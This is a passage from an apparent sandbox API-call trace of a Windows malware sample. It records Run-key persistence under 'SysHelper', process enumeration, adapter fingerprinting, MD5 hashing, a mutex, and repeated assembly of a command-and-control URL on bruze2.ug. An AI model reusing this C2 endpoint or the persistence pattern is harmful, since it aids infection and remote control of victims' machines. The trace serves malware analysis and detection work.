HALPmcxz\\AppData\\Local\\c5878955-7c21-46f7-9950-dbc1d2273e6e\\LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c5878955-7c21-46f7-9950-dbc1d2273e6e\\LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe" [0114.181] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c5878955-7c21-46f7-9950-dbc1d2273e6e\\LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe\" --AutoStart" [0114.181] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c5878955-7c21-46f7-9950-dbc1d2273e6e\\LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe\" --AutoStart", pNumArgs=0x18e8f4 | out: pNumArgs=0x18e8f4) returned 0x391ab00*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c5878955-7c21-46f7-9950-dbc1d2273e6e\\LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe" [0114.181] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c5878955-7c21-46f7-9950-dbc1d2273e6e\\LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe") returned="LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe" [0114.181] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x77080000 [0114.182] GetProcAddress (hModule=0x77080000, lpProcName="EnumProcesses") returned 0x0 [0114.182] GetProcAddress (hModule=0x77080000, lpProcName="EnumProcessModules") returned 0x0 [0114.182] GetProcAddress (hModule=0x77080000, lpProcName="GetModuleBaseNameW") returned 0x0 [0114.182] LoadLibraryW (lpLibFileName="Psapi.dll") returned 0x77190000 [0114.183] GetProcAddress (hModule=0x77190000, lpProcName="EnumProcesses") returned 0x77191544 [0114.184] GetProcAddress (hModule=0x77190000, lpProcName="EnumProcessModules") returned 0x77191408 [0114.184] GetProcAddress (hModule=0x77190000, lpProcName="GetModuleBaseNameW") returned 0x7719152c [0114.184] EnumProcesses (in: lpidProcess=0x1840f0, cb=0xa000, lpcbNeeded=0x18e900 | out: lpidProcess=0x1840f0, lpcbNeeded=0x18e900) returned 1 [0114.186] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x0) returned 0x0 [0114.186] CloseHandle (hObject=0x0) returned 0 [0114.186] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0114.186] CloseHandle (hObject=0x0) returned 0 [0114.186] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x104) returned 0x0 [0114.186] CloseHandle (hObject=0x0) returned 0 [0114.186] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x150) returned 0x0 [0114.186] CloseHandle (hObject=0x0) returned 0 [0114.186] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x180) returned 0x0 [0114.186] CloseHandle (hObject=0x0) returned 0 [0114.186] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x18c) returned 0x0 [0114.186] CloseHandle (hObject=0x0) returned 0 [0114.186] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1b4) returned 0x0 [0114.186] CloseHandle (hObject=0x0) returned 0 [0114.186] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1cc) returned 0x0 [0114.186] CloseHandle (hObject=0x0) returned 0 [0114.186] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1d4) returned 0x0 [0114.186] CloseHandle (hObject=0x0) returned 0 [0114.186] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1dc) returned 0x0 [0114.186] CloseHandle (hObject=0x0) returned 0 [0114.186] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x258) returned 0x0 [0114.186] CloseHandle (hObject=0x0) returned 0 [0114.186] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x29c) returned 0x0 [0114.187] CloseHandle (hObject=0x0) returned 0 [0114.187] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2d0) returned 0x0 [0114.187] CloseHandle (hObject=0x0) returned 0 [0114.187] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x340) returned 0x0 [0114.187] CloseHandle (hObject=0x0) returned 0 [0114.187] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x378) returned 0x0 [0114.187] CloseHandle (hObject=0x0) returned 0 [0114.187] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3b4) returned 0x0 [0114.187] CloseHandle (hObject=0x0) returned 0 [0114.187] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x120) returned 0x0 [0114.187] CloseHandle (hObject=0x0) returned 0 [0114.187] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x380) returned 0x598 [0114.187] EnumProcessModules (in: hProcess=0x598, lphModule=0x18e90c, cb=0x4, lpcbNeeded=0x18e8f0 | out: lphModule=0x18e90c, lpcbNeeded=0x18e8f0) returned 0 [0114.187] CloseHandle (hObject=0x598) returned 1 [0114.187] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3ac) returned 0x598 [0114.187] EnumProcessModules (in: hProcess=0x598, lphModule=0x18e90c, cb=0x4, lpcbNeeded=0x18e8f0 | out: lphModule=0x18e90c, lpcbNeeded=0x18e8f0) returned 0 [0114.187] CloseHandle (hObject=0x598) returned 1 [0114.187] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x41c) returned 0x598 [0114.188] EnumProcessModules (in: hProcess=0x598, lphModule=0x18e90c, cb=0x4, lpcbNeeded=0x18e8f0 | out: lphModule=0x18e90c, lpcbNeeded=0x18e8f0) returned 0 [0114.188] CloseHandle (hObject=0x598) returned 1 [0114.188] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x454) returned 0x0 [0114.188] CloseHandle (hObject=0x0) returned 0 [0114.188] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4c4) returned 0x0 [0114.188] CloseHandle (hObject=0x0) returned 0 [0114.188] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4e4) returned 0x598 [0114.188] EnumProcessModules (in: hProcess=0x598, lphModule=0x18e90c, cb=0x4, lpcbNeeded=0x18e8f0 | out: lphModule=0x18e90c, lpcbNeeded=0x18e8f0) returned 0 [0114.188] CloseHandle (hObject=0x598) returned 1 [0114.188] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4f8) returned 0x0 [0114.188] CloseHandle (hObject=0x0) returned 0 [0114.188] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x564) returned 0x598 [0114.188] EnumProcessModules (in: hProcess=0x598, lphModule=0x18e90c, cb=0x4, lpcbNeeded=0x18e8f0 | out: lphModule=0x18e90c, lpcbNeeded=0x18e8f0) returned 1 [0114.189] GetModuleBaseNameW (in: hProcess=0x598, hModule=0x400000, lpBaseName=0x18e0f0, nSize=0x400 | out: lpBaseName="LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe") returned 0x38 [0114.189] CloseHandle (hObject=0x598) returned 1 [0114.189] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x5e0) returned 0x598 [0114.189] EnumProcessModules (in: hProcess=0x598, lphModule=0x18e90c, cb=0x4, lpcbNeeded=0x18e8f0 | out: lphModule=0x18e90c, lpcbNeeded=0x18e8f0) returned 1 [0114.190] GetModuleBaseNameW (in: hProcess=0x598, hModule=0x400000, lpBaseName=0x18e0f0, nSize=0x400 | out: lpBaseName="reader_sl.exe") returned 0xd [0114.191] CloseHandle (hObject=0x598) returned 1 [0114.191] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x55c) returned 0x598 [0114.191] EnumProcessModules (in: hProcess=0x598, lphModule=0x18e90c, cb=0x4, lpcbNeeded=0x18e8f0 | out: lphModule=0x18e90c, lpcbNeeded=0x18e8f0) returned 0 [0114.191] CloseHandle (hObject=0x598) returned 1 [0114.191] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x58c) returned 0x598 [0114.191] EnumProcessModules (in: hProcess=0x598, lphModule=0x18e90c, cb=0x4, lpcbNeeded=0x18e8f0 | out: lphModule=0x18e90c, lpcbNeeded=0x18e8f0) returned 0 [0114.191] CloseHandle (hObject=0x598) returned 1 [0114.191] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x604) returned 0x598 [0114.191] EnumProcessModules (in: hProcess=0x598, lphModule=0x18e90c, cb=0x4, lpcbNeeded=0x18e8f0 | out: lphModule=0x18e90c, lpcbNeeded=0x18e8f0) returned 0 [0114.191] CloseHandle (hObject=0x598) returned 1 [0114.191] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x28) returned 0xdc82c8 [0114.191] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25c) returned 0xdf3a20 [0114.191] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25c) returned 0x39452c0 [0114.191] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25c) returned 0x3943b00 [0114.191] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25c) returned 0xdf3eb8 [0114.191] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25c) returned 0xdf4120 [0114.191] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25c) returned 0x39625a8 [0114.192] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25c) returned 0x3962810 [0114.192] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25c) returned 0x3962a78 [0114.192] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25c) returned 0x3962ce0 [0114.192] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25c) returned 0x3962f48 [0114.192] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0xf003f, phkResult=0x18e8f0 | out: phkResult=0x18e8f0*=0x598) returned 0x0 [0114.192] RegQueryValueExW (in: hKey=0x598, lpValueName="SysHelper", lpReserved=0x0, lpType=0x18e8ec, lpData=0x18d018, lpcbData=0x18e8d0*=0x400 | out: lpType=0x18e8ec*=0x2, lpData="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c5878955-7c21-46f7-9950-dbc1d2273e6e\\LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe\" --AutoStart", lpcbData=0x18e8d0*=0x130) returned 0x0 [0114.192] RegCloseKey (hKey=0x598) returned 0x0 [0114.192] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x130) returned 0x3932370 [0114.192] lstrlenA (lpString="\" --AutoStart") returned 13 [0114.192] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x120) returned 0x395fec0 [0114.192] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3932370 | out: hHeap=0xd10000) returned 1 [0114.192] PathFileExistsW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c5878955-7c21-46f7-9950-dbc1d2273e6e\\LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe") returned 1 [0114.192] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x120) returned 0x3932370 [0114.192] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x395fec0 | out: hHeap=0xd10000) returned 1 [0114.192] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x28) returned 0x39859d8 [0114.192] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25c) returned 0x39631b0 [0114.192] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25c) returned 0x3963418 [0114.192] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25c) returned 0x3963680 [0114.192] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25c) returned 0x39638e8 [0114.192] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25c) returned 0x3963b50 [0114.192] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25c) returned 0x3963db8 [0114.192] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25c) returned 0x396e060 [0114.192] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25c) returned 0x396e2c8 [0114.192] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25c) returned 0x396e530 [0114.192] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25c) returned 0x396e798 [0114.193] lstrlenA (lpString="http://bruze2.ug/ASd3457oHOIUSDhfsuft33i76t21/95898398498ihsdfasd/get.php") returned 73 [0114.193] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x94) returned 0x391b0b8 [0114.193] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x39631b0, cbMultiByte=-1, lpWideCharStr=0x391b0b8, cchWideChar=74 | out: lpWideCharStr="http://bruze2.ug/ASd3457oHOIUSDhfsuft33i76t21/95898398498ihsdfasd/get.php") returned 74 [0114.193] lstrcatW (in: lpString1="", lpString2="http://bruze2.ug/ASd3457oHOIUSDhfsuft33i76t21/95898398498ihsdfasd/get.php" | out: lpString1="http://bruze2.ug/ASd3457oHOIUSDhfsuft33i76t21/95898398498ihsdfasd/get.php") returned="http://bruze2.ug/ASd3457oHOIUSDhfsuft33i76t21/95898398498ihsdfasd/get.php" [0114.193] lstrlenA (lpString="") returned 0 [0114.193] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x2) returned 0x38f3d60 [0114.193] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3963418, cbMultiByte=-1, lpWideCharStr=0x38f3d60, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0114.193] lstrcatW (in: lpString1="http://bruze2.ug/ASd3457oHOIUSDhfsuft33i76t21/95898398498ihsdfasd/get.php", lpString2="" | out: lpString1="http://bruze2.ug/ASd3457oHOIUSDhfsuft33i76t21/95898398498ihsdfasd/get.php") returned="http://bruze2.ug/ASd3457oHOIUSDhfsuft33i76t21/95898398498ihsdfasd/get.php" [0114.193] lstrlenA (lpString="") returned 0 [0114.193] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x2) returned 0x38f3d50 [0114.193] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3963680, cbMultiByte=-1, lpWideCharStr=0x38f3d50, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0114.193] lstrcatW (in: lpString1="http://bruze2.ug/ASd3457oHOIUSDhfsuft33i76t21/95898398498ihsdfasd/get.php", lpString2="" | out: lpString1="http://bruze2.ug/ASd3457oHOIUSDhfsuft33i76t21/95898398498ihsdfasd/get.php") returned="http://bruze2.ug/ASd3457oHOIUSDhfsuft33i76t21/95898398498ihsdfasd/get.php" [0114.193] lstrlenA (lpString="") returned 0 [0114.193] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x2) returned 0x38f3d70 [0114.193] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x39638e8, cbMultiByte=-1, lpWideCharStr=0x38f3d70, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0114.193] lstrcatW (in: lpString1="http://bruze2.ug/ASd3457oHOIUSDhfsuft33i76t21/95898398498ihsdfasd/get.php", lpString2="" | out: lpString1="http://bruze2.ug/ASd3457oHOIUSDhfsuft33i76t21/95898398498ihsdfasd/get.php") returned="http://bruze2.ug/ASd3457oHOIUSDhfsuft33i76t21/95898398498ihsdfasd/get.php" [0114.193] lstrlenA (lpString="") returned 0 [0114.193] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x2) returned 0x38f3d80 [0114.193] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3963b50, cbMultiByte=-1, lpWideCharStr=0x38f3d80, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0114.193] lstrcatW (in: lpString1="http://bruze2.ug/ASd3457oHOIUSDhfsuft33i76t21/95898398498ihsdfasd/get.php", lpString2="" | out: lpString1="http://bruze2.ug/ASd3457oHOIUSDhfsuft33i76t21/95898398498ihsdfasd/get.php") returned="http://bruze2.ug/ASd3457oHOIUSDhfsuft33i76t21/95898398498ihsdfasd/get.php" [0114.193] lstrlenA (lpString="") returned 0 [0114.193] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x2) returned 0x38f3e10 [0114.193] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3963db8, cbMultiByte=-1, lpWideCharStr=0x38f3e10, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0114.193] lstrcatW (in: lpString1="http://bruze2.ug/ASd3457oHOIUSDhfsuft33i76t21/95898398498ihsdfasd/get.php", lpString2="" | out: lpString1="http://bruze2.ug/ASd3457oHOIUSDhfsuft33i76t21/95898398498ihsdfasd/get.php") returned="http://bruze2.ug/ASd3457oHOIUSDhfsuft33i76t21/95898398498ihsdfasd/get.php" [0114.193] lstrlenA (lpString="") returned 0 [0114.193] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x2) returned 0x38f3df0 [0114.193] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x396e060, cbMultiByte=-1, lpWideCharStr=0x38f3df0, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0114.193] lstrcatW (in: lpString1="http://bruze2.ug/ASd3457oHOIUSDhfsuft33i76t21/95898398498ihsdfasd/get.php", lpString2="" | out: lpString1="http://bruze2.ug/ASd3457oHOIUSDhfsuft33i76t21/95898398498ihsdfasd/get.php") returned="http://bruze2.ug/ASd3457oHOIUSDhfsuft33i76t21/95898398498ihsdfasd/get.php" [0114.193] lstrlenA (lpString="") returned 0 [0114.193] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x2) returned 0x38f3db0 [0114.193] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x396e2c8, cbMultiByte=-1, lpWideCharStr=0x38f3db0, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0114.193] lstrcatW (in: lpString1="http://bruze2.ug/ASd3457oHOIUSDhfsuft33i76t21/95898398498ihsdfasd/get.php", lpString2="" | out: lpString1="http://bruze2.ug/ASd3457oHOIUSDhfsuft33i76t21/95898398498ihsdfasd/get.php") returned="http://bruze2.ug/ASd3457oHOIUSDhfsuft33i76t21/95898398498ihsdfasd/get.php" [0114.193] lstrlenA (lpString="") returned 0 [0114.193] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x2) returned 0x38f3da0 [0114.193] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x396e530, cbMultiByte=-1, lpWideCharStr=0x38f3da0, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0114.194] lstrcatW (in: lpString1="http://bruze2.ug/ASd3457oHOIUSDhfsuft33i76t21/95898398498ihsdfasd/get.php", lpString2="" | out: lpString1="http://bruze2.ug/ASd3457oHOIUSDhfsuft33i76t21/95898398498ihsdfasd/get.php") returned="http://bruze2.ug/ASd3457oHOIUSDhfsuft33i76t21/95898398498ihsdfasd/get.php" [0114.194] lstrlenA (lpString="") returned 0 [0114.194] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x2) returned 0x38f3dc0 [0114.194] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x396e798, cbMultiByte=-1, lpWideCharStr=0x38f3dc0, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0114.194] lstrcatW (in: lpString1="http://bruze2.ug/ASd3457oHOIUSDhfsuft33i76t21/95898398498ihsdfasd/get.php", lpString2="" | out: lpString1="http://bruze2.ug/ASd3457oHOIUSDhfsuft33i76t21/95898398498ihsdfasd/get.php") returned="http://bruze2.ug/ASd3457oHOIUSDhfsuft33i76t21/95898398498ihsdfasd/get.php" [0114.194] lstrlenW (lpString="") returned 0 [0114.194] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x12) returned 0xdc63d0 [0114.194] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x288) returned 0x3964020 [0114.194] GetAdaptersInfo (in: AdapterInfo=0x3964020, SizePointer=0x18e8b4 | out: AdapterInfo=0x3964020, SizePointer=0x18e8b4) returned 0x0 [0114.205] GetAdaptersInfo (in: AdapterInfo=0x3964020, SizePointer=0x18e8b4 | out: AdapterInfo=0x3964020, SizePointer=0x18e8b4) returned 0x0 [0114.207] GetLastError () returned 0x0 [0114.207] SetLastError (dwErrCode=0x0) [0114.207] GetLastError () returned 0x0 [0114.207] SetLastError (dwErrCode=0x0) [0114.207] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x1000) returned 0x3945dc8 [0114.207] GetLastError () returned 0x0 [0114.207] SetLastError (dwErrCode=0x0) [0114.207] GetLastError () returned 0x0 [0114.207] SetLastError (dwErrCode=0x0) [0114.207] GetLastError () returned 0x0 [0114.207] SetLastError (dwErrCode=0x0) [0114.207] GetConsoleMode (in: hConsoleHandle=0xfffffffe, lpMode=0x18ccd0 | out: lpMode=0x18ccd0) returned 0 [0114.213] WriteFile (in: hFile=0xfffffffe, lpBuffer=0x18d3ac, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x18ccd8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18ccd8, lpOverlapped=0x0) returned 0 [0114.213] GetLastError () returned 0x6 [0114.213] GetLastError () returned 0x6 [0114.213] SetLastError (dwErrCode=0x6) [0114.214] GetLastError () returned 0x6 [0114.214] SetLastError (dwErrCode=0x6) [0114.214] GetLastError () returned 0x6 [0114.214] SetLastError (dwErrCode=0x6) [0114.214] GetLastError () returned 0x6 [0114.214] SetLastError (dwErrCode=0x6) [0114.214] GetLastError () returned 0x6 [0114.214] SetLastError (dwErrCode=0x6) [0114.214] GetConsoleMode (in: hConsoleHandle=0xfffffffe, lpMode=0x18cccc | out: lpMode=0x18cccc) returned 0 [0114.214] WriteFile (in: hFile=0xfffffffe, lpBuffer=0x18d3a8, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x18ccd4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18ccd4, lpOverlapped=0x0) returned 0 [0114.214] GetLastError () returned 0x6 [0114.214] GetLastError () returned 0x6 [0114.214] SetLastError (dwErrCode=0x6) [0114.214] GetLastError () returned 0x6 [0114.214] SetLastError (dwErrCode=0x6) [0114.214] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3964020 | out: hHeap=0xd10000) returned 1 [0114.214] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0xdcae70 [0114.214] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3942cc0 [0114.214] CryptAcquireContextW (in: phProv=0x18e884, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x18e884*=0xdefb68) returned 1 [0114.215] CryptCreateHash (in: hProv=0xdefb68, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x18e88c | out: phHash=0x18e88c) returned 1 [0114.215] CryptHashData (hHash=0xdd3dc8, pbData=0x3942cc0, dwDataLen=0x11, dwFlags=0x0) returned 1 [0114.215] CryptGetHashParam (in: hHash=0xdd3dc8, dwParam=0x2, pbData=0x0, pdwDataLen=0x18e888, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x18e888) returned 1 [0114.215] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0xdc6410 [0114.215] CryptGetHashParam (in: hHash=0xdd3dc8, dwParam=0x2, pbData=0xdc6410, pdwDataLen=0x18e888, dwFlags=0x0 | out: pbData=0xdc6410, pdwDataLen=0x18e888) returned 1 [0114.215] GetLastError () returned 0x0 [0114.215] SetLastError (dwErrCode=0x0) [0114.215] GetLastError () returned 0x0 [0114.215] SetLastError (dwErrCode=0x0) [0114.215] GetLastError () returned 0x0 [0114.215] SetLastError (dwErrCode=0x0) [0114.215] GetLastError () returned 0x0 [0114.215] SetLastError (dwErrCode=0x0) [0114.215] GetLastError () returned 0x0 [0114.215] SetLastError (dwErrCode=0x0) [0114.215] GetLastError () returned 0x0 [0114.215] SetLastError (dwErrCode=0x0) [0114.215] GetLastError () returned 0x0 [0114.215] SetLastError (dwErrCode=0x0) [0114.215] GetLastError () returned 0x0 [0114.216] SetLastError (dwErrCode=0x0) [0114.216] GetLastError () returned 0x0 [0114.216] SetLastError (dwErrCode=0x0) [0114.216] GetLastError () returned 0x0 [0114.216] SetLastError (dwErrCode=0x0) [0114.216] GetLastError () returned 0x0 [0114.216] SetLastError (dwErrCode=0x0) [0114.216] GetLastError () returned 0x0 [0114.216] SetLastError (dwErrCode=0x0) [0114.216] GetLastError () returned 0x0 [0114.216] SetLastError (dwErrCode=0x0) [0114.216] GetLastError () returned 0x0 [0114.216] SetLastError (dwErrCode=0x0) [0114.216] GetLastError () returned 0x0 [0114.216] SetLastError (dwErrCode=0x0) [0114.216] GetLastError () returned 0x0 [0114.216] SetLastError (dwErrCode=0x0) [0114.216] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3942608 [0114.216] GetLastError () returned 0x0 [0114.216] SetLastError (dwErrCode=0x0) [0114.216] GetLastError () returned 0x0 [0114.216] SetLastError (dwErrCode=0x0) [0114.216] GetLastError () returned 0x0 [0114.216] SetLastError (dwErrCode=0x0) [0114.216] GetLastError () returned 0x0 [0114.216] SetLastError (dwErrCode=0x0) [0114.216] GetLastError () returned 0x0 [0114.216] SetLastError (dwErrCode=0x0) [0114.216] GetLastError () returned 0x0 [0114.216] SetLastError (dwErrCode=0x0) [0114.216] GetLastError () returned 0x0 [0114.216] SetLastError (dwErrCode=0x0) [0114.217] GetLastError () returned 0x0 [0114.217] SetLastError (dwErrCode=0x0) [0114.217] GetLastError () returned 0x0 [0114.217] SetLastError (dwErrCode=0x0) [0114.217] GetLastError () returned 0x0 [0114.217] SetLastError (dwErrCode=0x0) [0114.217] GetLastError () returned 0x0 [0114.217] SetLastError (dwErrCode=0x0) [0114.217] GetLastError () returned 0x0 [0114.217] SetLastError (dwErrCode=0x0) [0114.217] GetLastError () returned 0x0 [0114.217] SetLastError (dwErrCode=0x0) [0114.217] GetLastError () returned 0x0 [0114.217] SetLastError (dwErrCode=0x0) [0114.217] GetLastError () returned 0x0 [0114.217] SetLastError (dwErrCode=0x0) [0114.217] GetLastError () returned 0x0 [0114.217] SetLastError (dwErrCode=0x0) [0114.217] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0xe04d08 [0114.217] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3942608 | out: hHeap=0xd10000) returned 1 [0114.217] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdc6410 | out: hHeap=0xd10000) returned 1 [0114.217] CryptDestroyHash (hHash=0xdd3dc8) returned 1 [0114.217] CryptReleaseContext (hProv=0xdefb68, dwFlags=0x0) returned 1 [0114.217] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3942cc0 | out: hHeap=0xd10000) returned 1 [0114.217] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398e798 [0114.217] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xe04d08 | out: hHeap=0xd10000) returned 1 [0114.217] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdcae70 | out: hHeap=0xd10000) returned 1 [0114.217] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x61a8000, lpStartAddress=0x414d40, lpParameter=0x45d9d0, dwCreationFlags=0x0, lpThreadId=0x45d9bc | out: lpThreadId=0x45d9bc*=0x5ec) returned 0x5a4 [0114.433] WaitForSingleObject (hHandle=0x5a4, dwMilliseconds=0xffffffff) returned 0x0 [0115.181] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}") returned 0x5a8 [0115.181] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x28) returned 0x39856d8 [0115.181] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25c) returned 0x396ea00 [0115.181] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25c) returned 